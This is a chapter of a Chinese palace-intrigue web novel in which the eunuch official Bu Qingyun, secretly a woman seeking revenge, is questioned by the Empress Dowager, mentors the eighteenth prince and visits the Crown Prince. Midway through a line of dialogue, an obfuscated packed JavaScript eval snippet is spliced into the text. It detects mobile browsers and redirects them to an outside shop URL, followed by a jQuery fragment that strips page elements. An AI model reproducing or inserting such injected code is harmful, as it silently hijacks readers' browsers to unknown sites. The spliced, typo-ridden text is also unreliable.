顺子应下,却没走,犹豫道:“掌印,太后突然设宴,还知请您和陆指挥使,会不会是……” “鸿门宴?”步青云放下笔,拿起帕子擦掉手上的朱砂,“就算是鸿门宴,也得去。太后相召,你敢不去?” 顺子不敢再言,退下了。 步青云起身走到窗前。窗外天色阴沉,又要下雪了。这隆冬时节的盛京,总是雪一场接一场,像永远下不完的阴谋,永远清不干净的局。 她想起八年前,也是这样的雪天,她跪在慈宁宫外,求太后开恩,让她留在宫里当差。那时候她刚入宫,还是个不起眼的小太监,太后连正眼都没看她。 后来她爬上来了,靠的是狠,是绝,是不择手段。太后开始用她制衡太子,制衡贵妃,制衡朝中那些不听话的臣子。 但她知道,太后从未真正信任过她。在太后眼里,她只是一条好用的狗,用完了,随时可以杀掉。 今日这宴,是试探,是敲打,还是……摊牌? 步青云不知道,但她必须去。 申时整,步青云的轿子停在慈宁宫外。几乎是同时,另一顶轿子也到了。陆炳掀开轿帘,走了出来。 两人对视一眼,都没说话,一前一后走进宫门。 慈宁宫的暖阁比往日更暖和,地龙烧得旺,熏香也比平时浓。太后李氏斜倚在软塌上,膝上盖着狐皮褥子,手中捻着佛珠,看似慵懒,眼神却锐利如鹰。 “臣叩见太后。” “奴才叩见太后。” 两人行礼。 “起来吧,赐坐。”太后抬了抬手,“天冷,哀家想着你们当差辛苦,特意备了酒菜,一起说说话。” 宫人搬了两个绣墩,摆在塌前。步青云和陆炳谢恩坐下,都只做了半边,姿态恭谨。 “这是江南新进的龙井,你们尝尝。”太后示意宫人上茶。 茶是好茶,汤色清亮,香气扑鼻。但步青云只抿了一口就放下。她从不喝别人给的茶,尤其是太后给的。 陆炳倒是喝的坦然,还赞了句:“好茶。” 太后笑了:“陆炳啊,你是哀家的侄儿,又不是外人,不必拘礼。” 这话说的亲热,但步青云听出了弦外之音。 陆炳是自己人,而她步青云,是外人。 “太后说的是。”陆炳放下茶盏,“姑姑今日叫侄儿来,可是有事吩咐?” 太后不答,反而看向步青云:“步青云,你觉得哀家的慈宁宫,如何?” 步青云垂眸:“太后宫宇,自然是极好的。” “是吗?”太后轻笑,“可哀家听说,有人觉得哀家这慈宁宫,管的太宽了。” 来了。步青云心中一凛,面上不动声色:“太后说笑了。太后母仪天下,垂范六宫,何人敢妄议?” “有没有人妄议,哀家不知道。”太后捻着佛珠,慢条斯理,“但哀家知道,这宫里宫外,有些人,手伸的太长了。” 她说这话时,目光若有若无的扫过步青云,又扫过陆炳。 陆炳脸色微变,站起身:“姑姑,侄儿对您忠心耿耿,绝无二心。” “哀家没说你。”太后打断他,目光落在步青云身上,“步青云,你说呢?” 步青云起身,跪地:“奴才愚钝,不知太后所指何事,还请太后明示。” “起来吧,哀家又没怪你。”太后抬手虚扶,“只是前些日子,有人跟哀家说,你最近和十八皇子走得很近,可有此事。” 果然是为了魏祚。步青云心中冷笑,面上却愈发恭顺:“回太后,奴才是奉您的命,照应十八殿下。” “哀家是让你照应,没让你教他朝政实务。”太后声音转冷,“步青云,你一个太监,插手皇子教育,这手,是不是伸的太长了?” 暖阁内空气骤然凝固。炭火噼啪作响,熏香浓的呛人。陆炳垂着眼,嘴角却微微勾起,那是看好戏的表情。 步青云额头触地:“奴才不敢。只是十八殿下好学,时常来问一些读书上的事,奴才不敢不答。” “是吗?”然后盯着她,“那为何哀家听说,你在教他批阅奏折,教他权谋算计。” 消息真灵通。步青云心中暗惊,面上却愈发平静:“太后明鉴,奴才一个阉人,哪懂什么权谋算计。不过是教殿下认认字,读读书罢了。” “认字读书?”太后冷笑,“步青云,你当哀家老了糊涂不成,十八皇子一个宫女生的,无才无德,你教他这些,是想做什?么想扶持他,跟太子,跟七皇子争?” 这话说的极重,重到可以杀头。步青云伏在地上,脑中飞速转动。太后这是在敲打她,警告她不要站队,更不要扶持魏祚。 可太后为何如此忌惮魏祚,一个不受宠的皇子,有什么好忌惮的? 除非……太后知道了什么。 步青云心中一沉。难道太后也知道了魏祚的身世?不,不可能。若太后知道,早就动手了,不会等到现在。 那太后在忌惮什么? 电光石火间,步青云想到了。太后忌惮的不是魏祚。是她步青云。太后怕她借着教导皇子的名义,培植自己的势力,将来尾大不掉。 想通了这一点,步青云反而镇定下来。 “太后明鉴,”她抬起头,眼中恰到好处的露出惶恐,“奴才绝无此意。奴才教导十八殿下,全是因为……因为太子的吩咐。” “太子?”太后挑眉。 “是。”步青云点头,“太子殿下前些日子召见奴才,说十八殿下无人教导,荒废了学业,让奴才多费心。奴才不敢不从啊。” 她把太子搬出来,一是为了转移视线,二是为了试探。 试探太后对太子的态度。 果然,太后脸色变了变,但很快恢复如常:“太子倒是好心。不过,教导皇子是太傅的事,他一个太子,插手这些做什么?” 这话就有些重了。教导皇子是皇帝的事,太子插手,却有僭越之嫌。 陆炳适时开口:“姑姑,太子也是关心弟弟,毕竟十八殿下生母早逝,无人照拂。” 太后看了陆炳一眼,没说话,只捻着佛珠。 暖阁内陷入沉默,只有炭火噼啪声和佛珠碰撞声。 许久,太后才缓缓开口:“都起来吧,跪着像什么话。” 步青云和陆炳起身,重新落座,但气氛已经不同了。 “步青云,”太后看着他,“哀家知道你有本事,这些年替哀家办了不少事。但你要记住,你的本事,是哀家给的。哀家能给,也能收。” “奴才明白。”步青云垂首。 “明白就好。”太后顿了顿,“十八皇子那边,你该教还教,但要有分寸。什么该教,什么不该教,你心里要有数。” “是。” “至于太子……”太后话锋一转,“他若再找你,你就说,哀家说了,皇子教育自由规程,让他不必操心。” 这是要断了她和太子的联系。步青云心中冷笑,面上却恭敬应下:“奴才遵旨。” “行了,都退下吧。” “臣告退。” “奴才告退。” 两人退出暖阁,走到慈宁宫外,谁也没说话。直到出了宫门,陆炳才开口,语气嘲讽:“步掌印好手段,把太子都搬出来了。” 步青云淡淡道:“陆指挥使不也帮腔了吗?彼此彼此。” 陆炳盯着他看了片刻,忽然笑了:“步青云,咱们明人不说暗话。太后今日这宴,是冲着你来的。你最近动作太大,太后不高兴了。” “陆指挥使说笑了,奴才能有什么动作?” “有没有,你心里清楚。”陆炳凑近,压低声音,“十八皇子那块料,你当真要扶?” 步青云停下脚步,转头看他:“陆指挥使这话,奴才听不懂。” “听不懂?”陆炳嗤笑,“步青云,咱们都是聪明人,就别装糊涂了。十八皇子是什么出身,你比我清楚。一个宫女生的,无依无靠,你扶他,图什么?” “奴才只是奉命行事。” “奉命?奉谁的命?太后的?太子的?还是……”陆炳眼中闪过一丝精光,“你自己的?” 步青云心中一震,面上却依旧平静:“陆指挥使多心了。奴才一个阉人,能有什么心思?” “但愿如此。”陆炳退后一步,拱手,“告辞。” 看着陆炳远去的背影,步青云眼中寒光一闪。陆炳起疑了,太后也起疑了。这局棋,越来越难下了。 “掌印,回吗?”顺子低声问。 “不回。”步青云转身,朝另一个方向走去,“去西偏殿。” 西偏殿里,魏祚正在临帖。孙嬷嬷在一旁做针线,屋里炭火烧的旺,却暖不偷那股挥之不去的寒意。 “殿下,”孙嬷嬷犹豫许,久还是开口,“老奴听说,太后今日召见了步公公和陆指挥使。” 魏祚笔尖一顿,墨迹在纸上晕开一团。他放下笔:“嬷嬷从哪听说的?” “宫里都传开了。”孙嬷嬷压低声音,“说是太后设宴,只请了他们两个。殿下,您说……会不会跟您有关?” 魏祚没说话。他也听说了,而且想的比孙嬷嬷更深。大号突然召见步青云和陆炳,定是为了最近朝中的动静。或者说,是为了步青云与他走的近这件事。 太后在警告步青云,也在警告他。 “殿下,”孙嬷嬷忧心忡忡,“老奴觉得,步公公那人……太危险。您跟他走得近,只怕会引火烧身啊。” “嬷嬷,”魏祚看着她,“这宫里,哪一处不是火坑?与其在西偏殿等死,不如主动往火里跳,说不定还能闯出一条生路。” 孙嬷嬷张了张嘴,最终什么也没说,只是叹了口气。 这时,门外传来敲门声。 孙嬷嬷去开门,见到来人,吓了一跳:“步、步公公……” 步青云站在门外,一身玄色斗篷,肩上落着雪沫子。他朝孙嬷嬷点点头,径自走进来。 魏祚起身:“公公怎么来了?” “来看看殿下。”步青云解下斗篷,递给顺子,“殿下在练字?” “是。” 步青云走到案前,看了看魏祚的字,点头:“有进步,但还欠火候。写字如做人,要稳,要狠,要力透纸背。” 魏祚垂手。 “坐吧。”步青云在桌边坐下,“太后今日召见我了。” 魏祚心头一跳,面上强作镇定:“太后……说了什么?” “让我离你远点。”步青云直言不讳,“说我一个太监,不该插手皇子教育。” 魏祚抿了抿唇:“那公公……” “我说,是太子让我教的。”步青云淡淡道。 魏祚愣住。太子?步青云什么时候和太子有联系? “公公这是……” “祸水东引。”步青云看着他,“太后忌惮我扶持你,那我就把太子拉下水。太后总不会为了这点事,同时敲打我和太子。” 魏祚明白了。步青云这是在试探,试探太后的底线,也试探太子的态度。 “可太子那边……” “太子那边,我自有打算。”步青云打断他,“殿下现在要做的,是好好读书,好好练字,什么都不要问,什么都不要管。” “我做不到。”魏祚忽然道,“公公,我娘的死,三皇子的死,还有我的身世……这些事,我做不到不管。” 步青云盯着他看了许久,忽然笑了:“殿下,您知道您现在像什么吗?” “像什么?” “像一只刚长出爪牙的小兽。”步青云的声音很轻,却像刀子一样锋利,“有狠劲,没脑子。只知道往前冲,却不知道前面是悬崖还是坦途。” 魏祚脸色一白。 “您想报仇,想查真相,这没错。”步青云继续道,“但您要知道,在这宫里,光有恨是不够的。你要有耐心,有谋略,要学会等待时机。” “等到什么时候?”魏祚握紧拳头,“等到害死我娘的人也老死,等到真相永远被埋没?” “等到您足够强大。”步青云一字一句,“等到你有足够的筹码,足够的势力,足够的人手。到那时,你想查什么,想报什么仇,都易如反掌。但现在……”她顿了顿,“您现在去查,去报仇,无异于以卵击石。” 魏祚沉默了。他知道步青云说的对,但他等不了。每每想起娘亲日记里写的那些字句,想起那封血书,他就恨不得立刻冲到长春宫,掐死周贵妃。 “殿下,”步青云的声音缓和下来,“您要记住,君子报仇,十年不晚。您现在要做的,是活下去,是变强,是积蓄力量。其他的,交给时间。” 魏祚闭上眼,深吸一口气:“我明白了。” “明白就好。”步青云从袖中取出一本书,“这本书,殿下拿回去看。里面讲的都是权术谋略,对您有用。” 魏祚接过,书很旧,边角都磨破了,但保存的很好。翻开,里面密密麻麻全是批注,字迹和之前的书上一模一样。 “公公……看了很多书?”他忍不住问。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17085723|195348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不多。”步青云淡淡道,“但有用的,都看了。” 有用的。什么有用?权谋有用,算计有用,心狠手辣有用。 魏祚握紧书,心中涌起复杂的情绪。感激?有。畏惧?也有。但更多的,是一种说不清道不明的……共鸣。 他们都在这深宫里挣扎,都背负着血海深仇,都想往上爬,都……身不由己。 “公公,”他忽然问,“您说,这宫里,有真心吗?” 步青云愣了一下,随即笑了:“殿下怎么问这个?” “只是好奇。” “有。”步青云说,“但很少,而且……往往不得善终。” 魏祚看着她:“那公公有过吗?” 步青云沉默了。烛火在她脸上跳跃,映出她眼中一闪而过的痛楚。但很快,那痛楚就被冷漠取代。 “有过。”她说,“但死了。” “怎么死的?” “被这宫墙吃了。”步青云站起身,“殿下,时候不早了,奴才告退。” 她走到门口,又停下,回头:“殿下,记住我的话。活下去,变强。其他的,都不重要。” 门开了又合,风雪灌进来,吹得烛火狂舞。 魏祚坐在桌前,看着那本书,许久未动。 活下去,变强。 可要活成什么样?要强到什么地步? 他不知道。 步青云走出西偏殿,雪下的更大了。顺子撑开伞,替他挡雪,低声问:“掌印,回司礼监吗?” “不,去东宫。” 顺子吓了一跳:“东宫?这个时候?” “这个时候正好。”步青云拢了拢斗篷,“太后不是让我离十八皇子远点吗?那我就去东宫,让太后看看,我能离得多远。” 顺子不敢多言,吩咐轿夫往东宫去。 东宫在皇宫东侧,与司礼监一墙之隔。轿子停在东宫门外时,天已经黑了。雪光映着宫墙,一片肃杀。 守门的太监看到步青云,明显愣了一下:“步、步公公?您怎么来了?” “求见太子殿下,有要事禀报。”步青云淡淡道。 “这……容奴才通传。” 太监匆匆进去,不多时又匆匆出来:“殿下请步公公进去。” 步青云整了整衣袍,踏入东宫。这是她第一次来东宫,与想象中的奢华不同。东宫布置的十分简朴,甚至有些冷清。 太子魏衸在书房等她。见到她,放下手中的书,温声道:“步公公怎么来了?可是父皇那边有事?” “殿下放心,皇上安好。”步青云行礼,“奴才是来谢罪的。” “谢罪?”魏衸挑眉,“步公公何罪之有?” “奴才今日在太后面前,搬出了殿下的名号。”步青云垂首,“太后问奴才为何教导十八皇子,奴才说……是殿下的吩咐。” 魏衸笑了:“就为这事?本宫确实说过让步公公多照应十八弟,这不算什么。” “可太后似乎……不太高兴。”步青云抬眼,观察着太子的神色。 魏衸笑容不变:“太后年纪大了,难免多想。步公公不必放在心上。” “是。”步青云应下,心中却冷笑。太子这话说的轻巧,实则把责任全推给了太。后果然,皇室中人,没一个简单的。 “十八弟最近如何?”魏衸换了个话题,“本宫听说他常去司礼监?” “是,殿下好学,时常来问些读书上的事。”步青云答的滴水不漏。 “那就好。”魏衸点头,“十八弟生母早逝,无人照拂,本宫这个做兄长的,理应多关照。只是……”他顿了顿,“步公公教导十八弟时,也要注意分寸。毕竟,皇子教育,自有规程。” 这话和太后如出一辙。步青云心里明镜似的,太子也在敲打他,让他不要越界。 “奴才明白。”她恭顺道。 “明白就好。”魏衸起身,“步公公,你是聪明人。本宫也不跟你绕弯子。这宫里,战队要早,但也要站对。站错了,可是要掉脑袋的。” 这是赤裸裸的拉拢了,步青云心中冷笑,面上却愈发光顺:“殿下说的是。奴才一个阉人,能有什么心思?不过是尽本分罢了。” “本分?”魏衸转身,看着他,“步公公的本分,就是替父皇分忧,替朝廷办事。至于其他的……不该管的,不要管。” “奴才谨记。” “去吧。”魏衸挥挥手,“本宫乏了。” 步青云行礼退出。 “掌印,回吗?” “回。”步青云上了轿,放下轿帘。 轿子缓慢前行,步青云闭着眼,脑中却飞快转动。 太后敲打她,太子拉拢她,贵妃试探她……所有人都盯着她,盯着她手中的权力,盯着她背后的十八皇子。 这局棋,破局越来越难了。 但她不怕。八年前,她从尸山血海里爬出来时,就发过誓,这辈子,再也不会任人摆布。 她要报仇,要夺回楚家的一切,要让那些伤害她家的人,血债血偿。 魏祚是她的棋子,也是她的机会。她要借着他的手,掀翻这吃人的宫墙,先翻这污浊的朝堂。 轿子停在司里监外。步青云下轿,忽然想起什么,问顺子:“江南那边,有消息了吗?” 顺子摇头:“还没有,快过年了,水路冰封,陆路难行,信使可能要晚几天。” “催一催。”步青云说,“我急着要。” “是。” 走进司礼监,值房的灯还亮着。步青云推门进去,案上堆着今日要批的奏折。她坐下,拿起最上面的一本,是都察院弹劾户部侍郎的折子。 正是许阁老的那个女婿。 步青云提笔,在折子上批了四个字:“留中不发。” 留中不发,就是既不处理,也不驳回。压在手里,等时机。 她要等,等徐阁老和太子绑得更紧,等这把刀磨得更利,然后……一击毙命。 批完奏折,已是子时。步青云推开窗,寒风夹杂着雪沫子灌进来,吹得她打了个寒颤。 她看着窗外沉沉的夜色,忽然想起很多年前,也是这样的雪夜,兄长抱着她,说:“玉儿,别怕,哥哥在。” 后来哥哥不在了,楚家一百三十七口,都不在了。 只剩下她,一个人,在这吃人的深宫里,挣扎着活下去。 “哥哥,”她轻声说,“再等等。很快,我就能为你们报仇了。” 雪越下越大,将整个皇宫笼罩在素白之下。但步青云知道,这素白之下,是污秽,是血腥,是永无止境的争斗。 而她,就要在污秽与血腥中,杀出一条血路。